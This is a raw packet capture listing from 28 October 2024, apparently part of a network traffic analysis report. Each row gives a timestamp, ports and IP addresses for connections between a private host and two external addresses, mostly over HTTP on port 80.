Oct 28, 2024 18:43:34.394634008 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.394649982 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.394650936 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.394673109 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.394695997 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.395378113 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.395406008 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.395421028 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.395454884 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.395486116 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.395494938 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.395512104 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.395526886 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.395529985 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.395555973 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.395561934 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.395577908 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.395597935 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.395623922 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.396300077 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.396341085 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.396357059 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.396363020 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.396392107 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.396406889 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.396425009 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.396440983 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.398530960 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.475166082 CET	63565	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.475200891 CET	443	63565	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.475517988 CET	63566	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.475539923 CET	63565	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.475588083 CET	443	63566	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.475914001 CET	63566	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.477575064 CET	63567	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.477603912 CET	443	63567	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.477871895 CET	63567	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.478091955 CET	63568	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.478174925 CET	443	63568	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.478307962 CET	63569	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.478365898 CET	443	63569	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.478374004 CET	63568	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.478424072 CET	63569	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.478507996 CET	63565	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.478528976 CET	443	63565	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.478666067 CET	63566	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.478703976 CET	443	63566	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.478749037 CET	63567	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.478763103 CET	443	63567	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.478856087 CET	63568	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.478904009 CET	443	63568	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.478940964 CET	63569	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.478950977 CET	443	63569	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.555896997 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.555922985 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.555934906 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.555972099 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.555974007 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.555985928 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.555999041 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556003094 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.556010962 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556024075 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556032896 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.556062937 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.556092978 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556119919 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556130886 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556142092 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556153059 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556169033 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556169033 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.556180000 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556181908 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.556193113 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556204081 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556204081 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.556216002 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556229115 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.556252956 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.556416035 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556427956 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556438923 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556482077 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.556529045 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556541920 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556551933 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556565046 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556577921 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.556590080 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.556615114 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.556677103 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556689024 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556699991 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556710958 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556723118 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.556726933 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.556745052 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.556762934 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.557230949 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.557249069 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.557271004 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.557286978 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.557346106 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.557358027 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.557369947 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.557379961 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.557396889 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.557427883 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.557672977 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.557686090 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.557697058 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.557722092 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.557735920 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.557754040 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.557765961 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.557777882 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.557789087 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.557816029 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.557846069 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.557904005 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.557917118 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.557926893 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.557950020 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.557961941 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.558429003 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.558440924 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.558451891 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.558479071 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.558509111 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.558526039 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.558537960 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.558549881 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.558562994 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.558574915 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.558604002 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.558640957 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.558654070 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.558665037 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.558677912 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.558689117 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.558710098 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.558734894 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.559354067 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.559396982 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.559410095 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.559459925 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.559524059 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.559535980 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.559547901 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.559561014 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.559595108 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.559607029 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.559779882 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.559792042 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.559804916 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.559817076 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.559829950 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.559849024 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.559876919 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.560270071 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.560314894 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.560319901 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.560333014 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.560367107 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.560431957 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.560442924 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.560456038 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.560468912 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.560486078 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.560518026 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.560578108 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.560590029 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.560600996 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.560614109 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.560621023 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.560628891 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.560666084 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.560678005 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.561299086 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.561311960 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.561322927 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.561345100 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.561369896 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.561398983 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.561472893 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.561484098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.561496019 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.561507940 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.561517000 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.561521053 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.561542034 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.561562061 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.717246056 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.717267990 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.717281103 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.717340946 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.717381954 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.717410088 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.717422009 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.717428923 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.717453003 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.717461109 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.717466116 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.717488050 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.717519999 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.717525959 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.717538118 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.717598915 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.717644930 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.717686892 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.717704058 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.717717886 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.717731953 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.717756987 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.717768908 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.717791080 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.717822075 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.717983007 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718002081 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718027115 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.718055964 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.718107939 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718146086 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.718172073 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718199968 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718226910 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.718236923 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718250990 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718262911 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718286037 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.718313932 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.718369007 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718391895 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718406916 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718419075 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718445063 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.718461037 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.718502045 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718513966 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718524933 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718565941 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.718686104 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718698978 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718709946 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718720913 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718733072 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718744040 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718755960 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.718756914 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718766928 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.718770981 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718787909 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.718812943 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.718966961 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.718993902 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.719007969 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.719022036 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.719050884 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.719053030 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.719062090 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.719090939 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.719172001 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.719185114 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.719196081 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.719208002 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.719216108 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.719219923 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.719233990 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.719248056 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.719259024 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.719296932 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.719371080 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.719383001 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.719393969 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.719440937 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.722935915 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.722968102 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.722980022 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723033905 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.723037958 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723050117 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723077059 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.723098040 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723104954 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.723113060 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723134041 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.723146915 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.723306894 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723325014 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723344088 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723356009 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723366976 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723378897 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723386049 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.723393917 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723404884 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723413944 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.723428011 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.723459959 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.723531961 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723543882 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723555088 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723575115 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.723598957 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.723606110 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723620892 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723685026 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.723685980 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723700047 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723711014 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723735094 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.723750114 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.723767996 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723833084 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723907948 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723922014 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.723951101 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.723951101 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.723964930 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.724045038 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.724056959 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.724067926 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.724080086 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.724087954 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.724092960 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.724113941 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.724148989 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.724318027 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.724329948 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.724348068 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.724358082 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.724370956 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.724371910 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.724385023 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.724417925 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.724462032 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.724476099 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.724489927 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.724499941 CET	63519	80	192.168.2.5	185.215.113.206
